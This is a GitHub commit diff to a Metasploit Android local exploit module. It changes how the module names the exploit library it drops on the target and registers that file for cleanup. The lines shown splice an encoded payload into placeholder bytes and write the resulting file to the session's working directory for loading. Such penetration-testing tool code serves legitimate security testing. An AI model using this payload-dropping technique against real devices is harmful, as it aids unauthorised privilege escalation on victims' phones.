File tree Expand file tree Collapse file tree 1 file changed +3
-1
lines changed
modules/exploits/android/local Expand file tree Collapse file tree 1 file changed +3
-1
lines changed Original file line number Diff line number Diff line change @@ -11,6 +11,7 @@ class MetasploitModule < Msf::Exploit::Local
11
11
12
12
include Msf ::Post ::File
13
13
include Msf ::Post ::Common
14
+ include Msf ::Exploit ::FileDropper
14
15
15
16
def initialize ( info = { } )
16
17
super ( update_info ( info , {
@@ -66,7 +67,8 @@ def exploit
66
67
exploit_data . gsub! ( "\x90 " * 4 + "\x00 " * ( space - 4 ) , payload_encoded + "\x90 " * ( payload_encoded . length - space ) )
67
68
68
69
workingdir = session . fs . dir . getwd
69
- remote_file = "#{ workingdir } /lib#{ Rex ::Text ::rand_text_alpha_lower ( 5 ) } .so"
70
+ remote_file = "#{ workingdir } /#{ Rex ::Text ::rand_text_alpha_lower ( 5 ) } "
71
+ register_file_for_cleanup ( remote_file )
70
72
write_file ( remote_file , exploit_data )
71
73
72
74
print_status ( "Loading exploit library #{ remote_file } " )
You can’t perform that action at this time.
0 commit comments